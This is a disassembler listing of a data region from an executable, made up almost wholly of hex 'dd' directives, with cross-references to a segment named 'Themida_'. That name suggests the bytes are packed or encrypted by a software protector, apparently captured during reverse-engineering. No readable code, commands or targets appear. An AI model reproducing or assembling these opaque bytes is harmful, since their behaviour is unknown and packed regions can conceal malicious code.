0CD1E4699h, 0D37263B8h dd 7BE16E8Fh, 0C0A43BAEh, 0E06E104Bh, 0A54A158Bh, 6DF61E46h dd 38CD3BE0h, 479BE7BBh, 46A57E61h, 3DB1C21Eh, 44B75E7Fh dd 0D754E5B9h, 826D4387h, 0D51E46A5h, 46A5ECF3h, 0A40F541Eh dd 3197DB5Fh, 1C81C7DDh, 8D527488h, 35248BC3h, 0FE877BA0h dd 0AC96DF78h, 7785F02Eh, 160D4BDFh, 40000006h, 0D920BC53h dd 79C05CE5h, 9564F889h, 30F96326h, 3D9F0DC2h, 4C01EFA5h dd 0EA9709D0h, 9736A772h, 36D1C415h, 75ABD3B6h, 17FE366Ah dd 0C08F89D6h, 956C32CDh, 0AF056722h, 0B29FDF6Eh, 9BDE482Ah dd 0BDE175C2h, 0F167E71Bh, 5E04510Fh, 0FB896370h, 28F13917h dd 8208B7h, 9A495DFDh, 3212DEC0h, 0A0000000h, 890DF855h dd 511BA3C3h, 8F3E9FDDh, 0DB9E8BCFh, 0D63F1151h, 0E3331D91h dd 5D0FF0BFh, 570C5208h, 0D17FAB9h, 56500A13h, 1DEBFCEh dd 0C5h, 32CDC0B3h, 3A27956Ch, 0D57063C8h, 0BFE36091h dd 946D31BEh, 69C06621h, 7F51CB76h, 11B59F53h, 0BD4CA0Eh dd 0C911B595h, 7A8B2AD7h, 1FAA1DF4h, 0E649BC8Dh, 5B4773F4h dd 0D37241F9h, 0A995C956h, 287E1180h, 806F4109h, 0C011B668h dd 587D3FB3h, 930FA1E9h, 250FF17Ch, 35691688h, 4F258704h dd 19BFFF4Eh, 16433027h, 0C206489Dh, 4218AD1Bh, 0F8E63FB3h dd 9200C953h, 765BD5FDh, 1692713Dh, 4FC40h, 0A66D5A00h dd 46FFF346h, 0E2A313E6h, 8D40AF7Ah, 37DCCA1Fh, 898B13B5h dd 23F6761Bh, 418814B1h, 0DE2BB150h, 0CDCC50EBh, 37846B4Dh dd 0B33C17FEh, 3DD2C095h, 0F8675AAFh, 0E185974Bh, 0E9E1BB6h dd 0D3625BD0h, 22E1D29Bh, 0FB7F0AFDh, 9E0511B7h, 2ABB0FF0h dd 98796A74h, 0EF2F17FAh, 683ECD3Eh, 0BEC745C9h, 26A1BB96h dd 26634C57h, 7D00E6D0h, 0CA5BDEC0h, 69000000h, 6C32CDC0h dd 3C622795h, 551ABCF0h, 0ED11B591h, 0B431CEC0h, 9F32103Eh dd 7FA11B5h, 0A619E07Ch, 198A531Bh, 0B105346Ah, 7F5195D9h dd 11B59570h, 705E83D0h, 0A06557DBh, 457B5B49h, 11B5959Ah dd 0A50DD26h, 0DD6EF3CFh, 26A374C9h, 633F91D9h, 0D50FF188h dd 77561C80h, 0BD12B4C6h, 516433Eh, 1EFBEF0h, 40E1A614h dd 5D3B4965h, 0E0AA3724h, 0F1DC839h, 0DAB1DDA5h, 0F1481E9Bh dd 71C542FFh, 0F79C0ADFh, 3D6A6BCFh, 40169271h, 3F5h, 4FDD7461h dd 0EF7D06FAh, 8319AA1Ah, 188447B6h, 0BE2EE3D1h, 2290841Ch dd 0B82AFF6Dh, 5748910Bh, 0F2E534A8h, 4AB4D557h, 0FE388B54h dd 0EEAA3717h, 0AF3DD2C0h, 40DC675Ah, 32CDC012h, 6722956Ch dd 0F7788E05h, 0F02DB226h, 0EDDE1Dh, 86F47AC7h, 0A0E4B607h dd 0BF4ABD6Ch, 7D624AEBh, 0C511B608h, 66143AB0h, 0D00FF100h dd 3BE2AC83h, 6C993ACBh, 0D4F462ADh, 137846CCh, 4273C620h dd 1EB0FA4Bh, 0BA6B4D00h, 0B46535BEh, 5DDC8245h, 90BD81D9h dd 0FFC23A0Eh, 3F7DF1F2h, 0FA83779Eh, 30F93D7Dh, 0A28C02BDh dd 0C0BD3F6Bh, 21C882D3h, 0BAB710B1h, 0F9E745Ch, 0EDBCE076h dd 5E0F4FFAh, 0C759DD6Eh, 0E2C47F72h, 1BB72E5Eh, 265D7B8Fh dd 0B0000003h, 0C9108C43h, 69B02CD5h, 8554C879h, 20E97316h dd 0CD8F1DB2h, 5CF1DFB5h, 0FA8779C0h, 67269762h, 6C13405h dd 5BBE3A6h, 17FE395Ah, 0C0BF99E6h, 0B17832CDh, 59D88E43h dd 1EBFFDD5h, 0B94CBB62h, 777854E5h, 0CB11B591h, 397D3DBAh dd 911CC3E5h, 5FA411B5h, 35691A8Ah, 62A08E04h, 0D40FF09Bh dd 8A761D8Fh, 3C434E5h, 7516865Fh, 0F830031h, 9234484Dh dd 17FA99CDh, 2B63E075h, 6158CF7Eh, 0E975DE73h, 0C38F037Ch dd 36741DEDh, 9A3C7016h, 1E4094D5h, 0BEE5A013h, 99CD7C6Dh dd 0D4C61B98h, 214A337h, 0F2DA6B5Bh, 1E4094EDh, 945718BEh dd 9AEB1E40h, 0A2DAA3Bh, 0C6E77166h, 4913460h, 9F0AB3C6h dd 9AD451C6h, 0A4B0A24h, 82F25FD9h, 58BDB6D0h, 0EF74C357h dd 0B20CFEAFh, 143D531Ch, 1966EFE1h, 0DEFF3D95h, 6238C537h dd 0A20456D3h, 0DF5C966Bh, 0C27F7138h, 0BE199D9Ch, 41B46535h dd 32D49EA2h, 13C83F38h, 498E5A0h, 0D4CAC235h, 0E75D460Bh dd 81A12EB7h, 3A577341h, 20A4CDCh, 54000002h, 0ED3CA067h dd 0DDC40F9h, 0A970EC9Dh, 0C415973Ah, 29AB31D6h, 70158391h dd 1EAB1DECh, 0BB4ABB8Eh, 5AE5D821h, 6147C7C2h, 17FE3A7Eh dd 5593B5C2h, 200794F8h, 79B011AEh, 469F130Dh, 8EF2A853h dd 0F750EDDFh, 0C53734F9h, 99DB5F29h, 60CD8D3Ch, 0F83B6F25h dd 6E7157C2h, 0D211B64Ah, 0C28E0481h, 0F1725EECh, 0EB46D80Fh dd 1DFEFED8h, 1AC5F79Bh, 0A617FB7Fh, 474CD05Dh, 0F3E6B7BAh dd 4CBB1248h, 0F6E73CB9h, 6CE21357h, 1C5EEF2Eh, 53885D4Dh dd 2A7BDF1h, 24EC441h, 35FDDEACh, 240B5816h, 4C44B37Ah dd 401D856Ah, 2BA83D1Eh, 0F23699A7h, 0AE6F64D0h, 45795F1Fh dd 0FBD56E12h, 0D7C9BF32h, 0DD781408h, 21AE2BB8h, 0E29E3F7Dh dd 781423CCh, 9B0E9FDDh, 3EBBBAE0h, 0C6C7F9B1h, 76DBC06Ch dd 0D569ADEDh, 0C08CECF3h, 8B0F54E3h, 38A45F52h, 0A367FEF1h dd 0B62FBD5Eh, 227A5CD9h, 5B36B9E8h, 0FB89CFh, 6E5B0000h dd 0F445A7h, 0A414E547h, 41B079E3h, 0DDCB1E8Eh, 8A12B428h dd 0F5771C8Ah, 9715B224h, 2AB25142h, 0CB51ECDFh, 856A4CCEh dd 3D17FE3Bh, 0CDC094ACh, 8F0E6C32h, 0A45A7C3Eh, 1A0FF08Fh dd 0B81D53C9h, 486E5E51h, 17FAA3A7h, 194DCA1Bh, 0FDD39B18h dd 164146B4h, 33D0C2EBh, 97CB18BFh, 7E30CB3Eh, 588D40AFh dd 7283A768h, 249762FCh, 0B09DD199h, 0E886EECAh, 432C0056h dd 0FF1E4359h, 44A8E076h, 0CB1F05E9h, 48CE5B24h, 88522766h dd 41449AF8h, 19FA3613h, 9624FEB6h, 2BD6C900h, 7046BA63h dd 9193915Eh, 27A43148h, 93AEB117h, 0C1124891h, 9306D34Dh dd 0DC823DB0h, 338AD05Dh, 845D01C4h, 59307611h, 5882D869h dd 0A590031Ah, 0A34A1A23h, 0C71E9431h, 64F50DD4h, 0BEFFA1DBh dd 91D25718h, 1D9AEB48h, 81A80C90h, 0F2E740Dh, 0A45F528Bh dd 3D8FEh, 6F3A0000h, 3CD3C071h, 611C8F66h, 0D473643Dh dd 38C5378Eh, 681D8B62h, 0D86D5B32h, 9BC2B82h, 7B0CFC55h dd 0A15A4E27h, 5C6876FDh, 89000036h, 8950243Ch, 405E0h dd 0E8830000h, 24048704h, 242C895Ch, 8904EC83h, 6851241Ch dd 5B3564C5h, 7CE98159h, 8954ECC5h, 240C8BCDh, 5404C483h dd 83241C8Bh, 0B95104C4h, 8, 8953D901h, 5B1989EBh, 2434FF59h dd 4C4835Bh, 5D2434FFh, 0E904C483h, 0FFFCD1C1h, 4ED10D52h dd 0BDC699FBh, 0B830B4E1h, 0ABBBB85Bh, 0C5030648h, 9415E0FFh dd 0DA822F5Fh, 4C334E52h, 31C30B2Ah, 0D87A1705h, 13747BFDh dd 0E1B337Ch, 0DE7436A1h, 8F9A7676h, 0A4630977h, 0EC6E4219h dd 22E12792h, 3B075CEFh, 25CB6821h, 0A71D5340h, 0A6D60354h dd 0E8133215h, 0B92B56B8h, 0E53F31E9h, 99F260Fh, 5AEC5DB9h dd 413C6F77h, 0B2DF3764h, 12E8280Dh, 48000000h, 0F0FE2825h dd 0BFAF7E5Fh, 0FE5BFF01h, 0A8743141h, 0BE989h, 0E51C0000h dd 0F02B76CEh, 0AA60DBE2h, 6FBF5BC1h, 817ADC43h, 5EE5C3h dd 0BFF56000h, 76E943A7h, 3F7CB961h, 0F18116B7h, 16B728F8h dd 11C78166h, 5E33FFB1h, 0A0FEBA66h, 0D871F681h, 0EE902B1h dd 0EC000000h, 0D8D4C496h, 573E53Bh, 17339655h, 0BDEE81D4h dd 81531F51h, 785C27D8h, 32EE816Dh, 66653262h, 56F24EBAh dd 0FCB9E7BFh, 0E9038F5Ch, 14h, 832AD321h, 0AF2A074Ah dd 88BE09ABh, 0F5EE9174h, 6D45236Eh, 8B01EB83h, 4B4B4BC7h dd 28F0Fh, 0A1B40000h, 0F01E983h, 1085h, 91D1BA00h, 19E97A8Bh dd 32000000h, 5ECBF296h, 0E9D68BB7h, 0FFFFFF79h, 0A00514C2h dd 762B7CDFh dword_578CD8 dd 55AB7B0Eh, 39EBh, 2CC00C0h, 2E400C0h, 0C0h, 449A0000h ; DATA XREF: Themida_:0053F2ECo ; Themida_:0053F474o ... dd 483047F3h, 40D276EAh, 44AA22FBh, 3834FF0h, 2D1B4EFAh dd 61FF76D0h db 0D2h, 22h word_578D0A dw 5993h ; DATA XREF: Themida_:00540524o dd 438B52D1h, 48054ACAh, 4DBB46FFh, 0C58C22F4h, 2DEE229Dh dd 74B47BBEh, 299F6E17h, 29F9661Fh, 2DEE2288h, 0C8B473DFh dd 0FC3A4344h, 543035C7h, 0A6399D91h, 0ECCAA95Eh, 4BD67BAh dd 68F1AF13h, 8C53A198h, 2D7167AEh, 90382BEBh, 2B982623h dd 7DF7569Eh, 95B7A9CDh, 2DBB2627h, 3F20A717h, 0B06324DBh dd 2B3097F2h, 75E0F161h, 29609F1Dh, 59EE24DBh, 95247289h dd 2DBB2627h, 3F20A717h, 0B06324DBh, 2B3090C5h, 75E0F161h dd 0C58D22F4h, 2DEE229Dh, 75B47ABEh, 299F6617h, 29F9661Fh dd 2DEE2282h, 0CDB472DEh, 6A49F8E2h, 0D4F331B5h, 0F7FB9CF8h dd 2D772476h, 0E694839Eh, 0C5BCCC1Bh, 2DEE228Dh, 3423971Ah dd 45CEE921h, 826364D7h, 0B39D4AE1h, 0AC868658h, 355BA47Fh dd 0A6837D9Dh, 68CADF23h, 47B7A998h, 2E53759Eh, 0DDD229Eh dd 0A4B1E1C1h, 0AC7306E2h, 35BF06DAh, 6ADD229Eh, 88B9E1C9h dd 0EB8531D1h, 68A30B1Bh, 2DB77498h, 2DEDCACBh, 7057229Eh dd 41327F5Dh, 695C26BAh, 2DF826BAh, 7832229Eh, 42E3E35Dh dd 5237A3F8h, 27464ABBh, 19F6D009h, 1209D8BAh, 7FDD48F0h dd 2DEE2176h, 0EE2D029Eh, 9EFABC4h, 999A39Ah, 2DEE3B9Ah dd 0EE25609Eh, 75C75CC4h, 2634C4BEh, 13EE229Eh, 8DDFD746h dd 0BE6626C6h, 98228A30h, 2BAB2B4Bh, 0C6B79BF8h, 550DA713h dd 203424D6h, 87EE229Eh, 0C0D1FF37h, 0E1C2AFEDh, 6AB4BD7Ch dd 0FA51F261h, 227D1B85h, 2DBB2416h, 28580B9Eh, 47E867B4h dd 7C77489Ah, 2DBB2176h, 0EE84029Eh, 9A2ABC7h, 933A39Ah dd 2DBB389Ah, 0EE8C639Eh, 732E7009h, 45EDE900h, 0CC623FC7h dd 7316A9CEh, 8ACA261Fh, 9269046Ch, 20897E98h, 57D9CBF6h dd 8F699C3Eh, 29F604CEh, 0A84521BAh, 7FDD48C1h, 2DEE2176h dd 0EE2D029Eh, 9EFABC4h, 999A39Ah, 2DEE349Ah, 0EE25609Eh dd 0A4FF1EDDh, 68FD4F03h, 47EE4898h, 2E9F709Eh, 0DBB229Eh dd 0A487E1C4h, 0ACEA06CAh, 397306DAh, 6FBB229Eh, 1C56E1CCh dd 68CACF0Bh, 0B07E4298h, 2BFE12F3h, 2C94B717h, 0D28F24DBh dd 7877484Eh, 2DBB2176h, 0EE80029Eh, 982ABC3h, 933A39Ah dd 2DBB3F9Ah, 0EE88679Eh, 62599BE0h, 66234D8Bh, 22DBD8C5h dd 0A4BCEB29h, 6543491Bh, 54EAAB98h, 0D8BD678Dh, 0E1D8DA15h dd 0A4EE229Ch, 65DA4D1Bh, 357BA198h, 80AEA717h, 0EDDD24D6h dd 2D75CE27h, 0A611D19Eh, 8460A955h, 0EBE86798h, 686F0B1Bh dd 2DD16198h, 2DDECACFh, 74CE229Eh, 61FE7B5Dh, 693A26BAh dd 2DC426BAh, 7CAF229Eh, 0F223815Dh, 94FAC99Eh, 72CC927Bh dd 2DEE2676h, 4A1C7C9Eh, 2D0A7202h, 29F96615h, 2DE8AB91h dd 0AB78229Eh, 2DBB229Eh, 0C4BD2215h, 2DEE2291h, 3091F664h dd 9E74851Dh, 8BE21E52h, 7E907461h, 4C2E79C8h, 299F6617h dd 2DDD2E77h, 0C6A2789Eh, 0AA2B4243h, 56E431D4h, 1B627A34h dd 22D1A3A4h, 2D772012h, 0D244909Eh, 68D4F72Bh, 0EC6F4498h dd 0A8FA8FE0h, 2BF35A28h, 0C58D22F4h, 2DEE229Dh, 75B47ABEh dd 299F6617h, 29F9661Fh, 2DEE2285h, 0B8B472DEh, 46A2CA62h dd 0A6B41544h, 68EF2B13h, 0FFC82D98h, 9832F261h, 2B982067h dd 3D53A717h, 2D1D24DBh, 2DB8CACCh, 77FD229Eh, 7967785Dh dd 69F626BAh, 2DAC26BAh, 7F9F229Eh, 5E19E5Dh, 84FAA916h dd 0A6BD678Dh, 68EC8F2Bh, 0E86BAF98h, 4D716780h, 2DA2AC91h dd 3934229Eh, 0EFEE229Eh, 1EAB3812h, 6A3262EBh, 26F16C56h dd 68B6A594h, 4C9247AAh, 3AF2A717h, 0A81B24DBh, 2BAB3AB7h dd 7F7748CDh, 2DBB2176h, 0EE87029Eh, 9BAABC4h, 933A39Ah dd 2DBB379Ah, 0EE8F609Eh, 0A2E127B1h, 2D77229Ch, 2953E914h dd 0F5DD229Eh, 7E1293D6h, 0C52072C7h, 2DBB2298h, 2438CB45h dd 280683BEh, 0E477229Eh, 0C55D9B81h, 0A6827BC1h, 22EA06DAh dd 2D772619h, 6D01449Eh, 0C4DDA964h, 2DEE2294h, 3B03659Bh dd 0C433730h, 69543128h, 0CC5026BAh, 757287D0h, 0C5EE22F4h dd 2DDD229Dh, 702D7FBEh, 29534E17h, 299F661Fh, 2DDD228Ah dd 4A2D77DBh, 24A29761h, 2DD124DBh, 2DDECACEh, 75CE229Eh dd 69FE7A5Dh, 693A26BAh, 2DC726BAh, 7DAE229Eh, 175BCD5Dh dd 0B99EDE9Eh, 2DDBA891h, 0B865229Eh, 2B320203h, 550DA713h dd 0DF5624D6h, 0D23D9591h, 7B77484Eh, 2DBB2176h, 0EE83029Eh dd 99AABC0h, 933A39Ah, 2DBB359Ah, 0EE8B649Eh, 28EF67A1h dd 1C56A717h, 989224DBh, 2B9837E7h, 35C7A758h, 472424DBh dd 2E53719Eh, 0DDD229Eh, 0A4B5E1C5h, 0AC7306C2h, 39BF06DAh dd 6EDD229Eh, 9360E1CDh, 49822710h, 28E475F6h, 9E9A361h dd 0AF3B97Ah, 2BFC2DFEh, 0A4BB229Eh, 68F7DB0Bh, 0A6887298h dd 0D2167D51h, 68B2F72Bh, 78DD4898h, 2DEE2176h, 0EE2A029Eh dd 9D7ABC3h, 999A39Ah, 2DEE379Ah, 0EE22679Eh, 98B83FAEh dd 2B9812A7h, 5558A713h, 0D28E24D6h, 6C2EA94Eh, 0A4DB6796h dd 68FEEB1Bh, 0FCFC4498h, 3592A758h, 479A24DBh, 2E06759Eh dd 0D77229Eh, 0A4E4E1C1h, 0ACD906E2h, 39EA06DAh, 6A77229Eh dd 0ACB5E1C9h, 57977950h, 4231A394h, 4B34820Bh, 45A25B24h dd 0D5BE3319h, 0C14498F8h, 353161Fh, 4DF49F52h, 0EA5DE515h dd 981143E7h, 2B322B4Bh, 0C5EE22F4h, 2DDD229Dh, 702D7FBEh dd 29534E17h, 299F661Fh, 2DDD2286h, 7D2D77DBh, 96004F73h dd 2B1EB7BDh, 0B85424DBh, 2BAB2B17h, 55C1A713h, 2DD124D6h dd 2DDECACCh, 77CE229Eh, 79FE785Dh, 693A26BAh, 2DC626BAh dd 7FAC229Eh, 548AFD5Dh, 47BB7A42h, 74682B17h, 22E867BAh dd 2D77221Fh, 476BDD9Eh, 2E35749Eh, 0DEE229Eh, 0A429E1C0h dd 0ACBF06EAh, 31D906DAh, 6BEE229Eh, 76FCE1C8h, 0E4E567A4h dd 4D29C3E3h, 3C77AF15h, 0A67824DBh, 2DBB2298h, 0DC49717h dd 0A48F24DBh, 68620B1Bh, 7BBB4898h, 2DDD2176h, 0EEB0029Eh dd 903ABC0h, 9FFA39Ah, 2DDD349Ah, 0EEB8649Eh, 0A4A2B4B1h dd 688A8F1Bh, 458E498h, 6AE86786h, 0C52222F4h, 2DBB229Dh dd 701E7FBEh, 29CA4E17h, 2953661Fh, 2DBB2286h, 0A01E77DBh dd 0E75DEF64h, 941178CDh, 41D34FC4h, 0C436CF65h, 2DEE229Bh dd 6243F593h, 98FA336h, 47ECC988h, 0D239A9F8h, 687EF72Bh dd 0A406A998h, 0A0DB679Ah, 6596941Bh, 7A774898h, 2DBB2176h dd 0EE82029Eh, 992ABC1h, 933A39Ah, 2DBB389Ah, 0EE8A659Eh dd 7F95C56Eh, 22C53D62h, 0FD44D829h, 0C58E22F4h, 2DEE229Dh dd 76B479BEh, 299F7E17h, 29F9661Fh, 2DEE228Ah, 0F6B471DDh dd 3A9A9F15h, 3F3424DBh, 3CEE229Eh, 22693AC5h, 0F081A144h dd 0F4D9B627h, 0F76220CCh, 18F2AB3Ch, 22BD67BBh, 2DDD351Ah dd 2DFCCB9Eh, 2A83229Eh, 271253BAh, 0D728B0D3h, 6F9709FBh dd 18BDC156h, 3592A758h, 479A24DBh, 2E06749Eh, 0D77229Eh dd 0A4E5E1C0h, 0ACD906EAh, 34EA06DAh, 6B77229Eh, 5C5BE1C8h dd 0C2FA18B3h, 0D8C9DF8h, 2D772676h, 0E0877F9Eh, 2F5B2D34h dd 0A7EE229Eh, 97C57254h, 299F6615h, 2DDD3176h, 0C9D94D9Eh dd 0F1443775h, 8869AE84h, 63F7E642h, 0F0B2AE0h, 2D773076h dd 0EDBAA49Eh, 14FC2769h, 7051B909h, 0B121CF05h, 0C41E485Ah dd 2DDD2298h, 841DB18Eh, 722D62EAh, 3F522215h, 0CADD229Eh dd 0A15007B0h, 7E6723A8h, 5917F2C4h, 0E7FE07FBh, 9AAABEBh dd 0EC8719Ah, 74B03187h, 902898C6h, 98117E9Ah, 2B322B4Bh dd 0C5EA22F4h, 2DDD229Dh dd 742D7BBEh, 29536E17h, 299F661Fh, 2DDD228Bh, 492D73DFh dd 3AF72DEFh, 0C5BB229Eh, 2DDD2291h, 7E645441h, 1DB5F9AAh dd 4A8E91F8h, 4D7A5567h, 0A8677CFFh, 2B323253h, 550DA713h dd 0A6BB24D6h, 473EDD54h, 2E9F719Eh, 0DBB229Eh, 0A486E1C5h dd 0ACEA06C2h, 317306DAh, 6EBB229Eh, 0DB6DE1CDh, 450249A5h dd 4DE8C3C8h, 328B9BF8h, 2DDD2E76h, 75BF9Eh, 3B089F92h dd 4A9E8389h, 0FE5644B7h, 0A86743C4h, 2B32106Fh, 0C5E822F4h dd 2DDD229Dh, 762D79BEh, 29537E17h, 299F661Fh, 2DDD228Bh dd 0A92D71DDh, 68CA29F8h, 0D2BD679Bh, 8C68014Eh, 0A4E86782h dd 6874E31Bh, 9871A298h, 4705AEF8h, 2E06719Eh, 0D77229Eh dd 0A4E0E1C5h, 0ACD906C2h, 34EA06DAh, 6E77229Eh, 3CBE1CDh dd 53BBE746h, 0CB6E26BAh, 22B7285Ah, 2DB87F1Ah, 0C860AB9Eh dd 0EBE867B4h, 686F0B1Bh, 2DD16D98h, 2DDECAC8h, 73CE229Eh dd 59FE7C5Dh, 693A26BAh, 2DC026BAh, 7BA8229Eh, 0E83EFB5Dh dd 7B89D303h, 7A398695h, 29067B67h, 0E977229Eh, 7D04A2F2h dd 2DCBA291h, 7FBE229Eh, 2D772A77h, 6694039Eh, 0ACEAC02Ah dd 4BDF2DCFh, 752DEC15h, 299F6615h, 3C342215h, 63EE229Eh dd 0A4C23136h, 3CCC313Ch, 276EAFC3h, 0E8FC9021h, 29536617h dd 2DBBAA91h, 2C85229Eh, 68FCF32Bh, 0F8C2DD98h, 92BD6797h dd 2759C74Dh, 5558A713h, 2D1D24D6h, 2DB8CAC9h, 72FD229Eh dd 51677D5Dh, 69F626BAh, 2DAD26BAh, 7A9A229Eh, 0C610075Dh dd 0EDF4F261h, 78BB48BAh, 2DDD2176h, 0EEB3029Eh, 91BABC3h dd 9FFA39Ah, 2DDD3E9Ah, 0EEBB679Eh, 618E1809h, 5157FDCEh dd 0A460AB38h, 0A4E86798h, 68598F1Bh, 7BBB4898h, 2DDD2176h dd 0EEB0029Eh, 903ABC0h, 9FFA39Ah, 2DDD359Ah, 0EEB8649Eh dd 0BB081F88h, 1D0A9F15h, 0A85624DBh, 2BAB215Fh, 0C52122F4h dd 2DBB229Dh, 731E7CBEh, 29CA5617h, 2953661Fh, 2DBB2285h dd 2B1E74D8h, 0A2B4A2A1h, 0C4877289h, 2DBB228Ch, 9FA89719h dd 86645C5Eh, 644A7204h, 0A38AB95Fh, 0B05606ECh, 2BAB106Fh dd 0C52722F4h, 2DBB229Dh, 751E7ABEh, 29CA6617h, 2953661Fh dd 2DBB2283h, 7A1E72DEh, 2C481B40h, 0AD9B417Eh, 0DB042D1Fh dd 2DDD2A77h, 7763189Eh, 30DF6AD4h, 0E53044FBh, 4480BDDh dd 0A6E867BAh, 7C774885h, 2DBB2176h, 0EE84029Eh, 9A2ABC7h dd 933A39Ah, 2DBB359Ah, 0EE8C639Eh, 26CFC598h, 2D7AA191h dd 0C5E9229Eh, 2DDD229Bh, 3480E97Ch, 0A6297B5Fh, 7DBB4885h dd 2DDD2176h, 0EEB6029Eh, 933ABC6h, 9FFA39Ah, 2DDD3F9Ah dd 0EEBE629Eh, 34624BC3h, 0FE99FC80h, 90FEB8A3h, 2BAB11ABh dd 2D1D3915h, 2DB8CACDh, 76FD229Eh, 7167795Dh, 69F626BAh dd 2DA726BAh, 7E9E229Eh, 0D89FBA5Dh, 0EE6E32B9h, 0F588B3C6h dd 6448ABCCh, 73E86795h, 2F02BF17h, 2DD124DBh, 2DDECACEh dd 75CE229Eh, 69FE7A5Dh, 693A26BAh, 2DC626BAh, 7DAE229Eh dd 2B1A805Dh, 0EE4B106Dh, 458E43Fh, 6AE86786h, 0C52022F4h dd 2DBB229Dh, 721E7DBEh, 29CA5E17h, 2953661Fh, 2DBB228Ah dd 0AC1E75D9h, 10DF98F8h, 442EACF6h, 9BFA338h, 3CA8A685h dd 0C5B822F4h, 2D77229Dh, 73787CBEh, 29F95617h, 29CA661Fh dd 2D77228Ah, 2B7874D8h, 24089761h, 0A06724DBh, 2B321193h dd 550DA713h, 2DB724D6h, 2DEDCACDh, 7657229Eh, 7132795Dh dd 695C26BAh, 2DF526BAh, 7E34229Eh, 0E5F7535Dh, 0A60DAD43h dd 0A43EDD81h, 68762B03h, 43EAB98h, 47DB678Bh, 2E06779Eh dd 0D77229Eh, 0A4E6E1C3h, 0ACD906F2h, 3AEA06DAh, 6877229Eh dd 7D05E1CBh, 98D6CBCFh, 2BAB0367h, 6DA5A3DEh, 0A6F98601h dd 3868A99Eh, 0A6E867ADh, 0F3F6449Eh, 0A8325972h, 2B980EEBh dd 91D9C01Fh, 7C9E28A1h, 47BB229Fh, 2E35759Eh, 0DEE229Eh dd 0A428E1C1h, 0ACBF06E2h, 35D906DAh, 6AEE229Eh, 0D04FE1C9h dd 0C4C6EAF2h, 2DDD2294h, 4757BBFh, 0AA1EFD6Dh, 0A836366Fh dd 2B958F0Fh, 4DB8B262h, 8AD9A421h, 2D332DD0h, 4CDD229Eh dd 230772C7h, 3277229Eh, 0A230C287h, 0C29F9420h, 376CB076h dd 0D28BB2ECh, 68BD270Bh, 7EDD4898h, 2DEE2176h, 0EE2C029Eh dd 9E7ABC5h, 999A39Ah, 2DEE369Ah, 0EE24619Eh, 2DB3CBEFh dd 50BF229Eh, 79A60452h, 907683BCh, 2BFE1267h, 804ABF13h dd 2D8424D6h, 2D74CACFh, 749B229Eh, 61547B5Dh, 696F26BAh dd 2D6126BAh, 7CFA229Eh, 5586135Dh, 0D4399D91h, 9CEA2BCFh dd 73BD67BBh, 4B8F720Dh, 22A6F727h, 2D70CBAFh, 5EF9229Eh dd 4232BD66h, 7DB67850h, 7E77480Dh, 2DBB2176h, 0EE86029Eh dd 9B2ABC5h, 933A39Ah, 2DBB3B9Ah, 0EE8E619Eh, 8665FE4Ch dd 4B27AC1Bh, 0A4CFDA21h, 2DB7069Ah, 2DEDCACEh, 7557229Eh dd 69327A5Dh, 695C26BAh, 2DFB26BAh, 7D37229Eh, 0D2C5C95Dh dd 68D5130Bh, 77BE7398h, 80F2ABC7h, 47BD67B0h, 2E35739Eh dd 0DEE229Eh, 0A42EE1C7h, 0ACBF06D2h, 34D906DAh, 6CEE229Eh dd 0F555E1CFh, 856B74D7h, 35F4A758h, 47BD24DBh, 2E9F729Eh dd 0DBB229Eh, 0A485E1C6h, 0ACEA06DAh, 377306DAh, 6DBB229Eh dd 8780E1CEh, 0DDD85FA2h, 36F42D19h, 0C5BB229Eh, 2DDD2291h dd 2613B3EBh, 3B6C0C1Bh, 25BADC85h, 2277E910h, 2DEE221Bh dd 0B11F7D9Eh, 4BDC7D7Bh, 0AC58AF24h, 0B30D069Ah, 90FC61B9h dd 2BFE0BFBh, 24089761h, 3F0624DBh, 7277229Eh, 2E959F2Bh dd 14AD88E7h, 2F14626Eh, 87021F3Ah, 0D430441Ah, 2DD8CBC7h dd 60F6229Eh, 0A08A8A36h, 65C3941Bh, 78DD4898h, 2DEE2176h dd 0EE2A029Eh, 9D7ABC3h, 999A39Ah, 2DEE3B9Ah, 0EE22679Eh dd 3F36403Dh, 0A0560258h, 2BAB06E7h, 0C7F6F261h, 2523D7Ch dd 0A854D115h, 2BAB070Fh, 0C52222F4h, 2DBB229Dh, 701E7FBEh dd 29CA4E17h, 2953661Fh, 2DBB228Bh, 651E77DBh, 4063A9F7h dd 0A67167AEh, 68B2CB2Bh, 458E498h, 6AE86786h, 0C52222F4h dd 2DBB229Dh, 701E7FBEh, 29CA4E17h, 2953661Fh, 2DBB2283h dd 481E77DBh, 0DE2EBF24h, 0B1F9715Ah, 640E2BC2h, 45DB6786h dd 4F9C71DEh, 7D53261Fh, 0A685DD5Ch, 68DC6F0Bh, 0F85BDD98h dd 7C716797h, 0A836786Bh, 2B955A28h, 2DB39717h, 0FD8824DBh dd 0B2599D27h, 7C58ABB0h, 0D5E86797h, 355EA758h, 0A6E824DBh dd 9B5D767h, 0A68F24A0h, 973A354h, 158803F2h, 2DDD2876h dd 8929B59Eh, 3E89BFFEh, 0ACE8922Dh, 65E1E16Ch, 981178FBh dd 2B322B4Bh, 38BAAF17h, 3D3524DBh, 0E8EE229Eh, 71A9D269h dd 53EF96BBh, 54D52028h, 0D516EF2Fh, 9BF2AFC4h, 0A4BD6AE6h dd 68DD771Bh, 473EDD98h, 2E9F729Eh, 0DBB229Eh, 0A485E1C6h dd 0ACEA06DAh, 3A7306DAh, 6DBB229Eh, 0C943E1CEh, 9865663Eh dd 2B323A13h, 7AAA717h, 2DB724DBh, 2DEDCAC8h, 7357229Eh dd 59327C5Dh, 695C26BAh, 2DF426BAh, 7B31229Eh, 0D6EA705Dh dd 0F68ACAC4h, 913AF15h, 0A8B124DBh, 2BFE3AB7h, 78DD48C9h dd 2DEE2176h, 0EE2A029Eh, 9D7ABC3h, 999A39Ah, 2DEE389Ah dd 0EE22679Eh, 0C5BEAEDDh, 0C5316C16h, 2DEE229Ah, 0BD737098h dd 2DBFA091h, 93BB229Eh, 4DBE2A9Dh, 2D75A591h, 0A40F229Eh dd 0FAB699F8h, 9AAA9FFh, 4B17429Ah, 4BFC5F24h, 92BCD815h dd 5EA5DF39h, 7D77A9FFh, 0FA3042CCh, 0A13DA726h, 1CE143BAh dd 2D75A191h, 74E8229Eh, 69547AC4h, 7FBE26BAh, 0A0A87F21h dd 928A2DF6h, 305E3DA9h dd 47B67AC4h, 2E9F739Eh, 0DBB229Eh, 0A484E1C7h, 0ACEA06D2h dd 307306DAh, 6CBB229Eh, 70F4E1CFh, 0F7A4D4Bh, 6D9143FFh dd 9844092Fh, 2B982B4Bh, 2DE8AA91h, 0A054229Eh, 2BFE37DBh dd 556BA713h, 2D8424D6h, 2D74CAC9h, 729B229Eh, 51547D5Dh dd 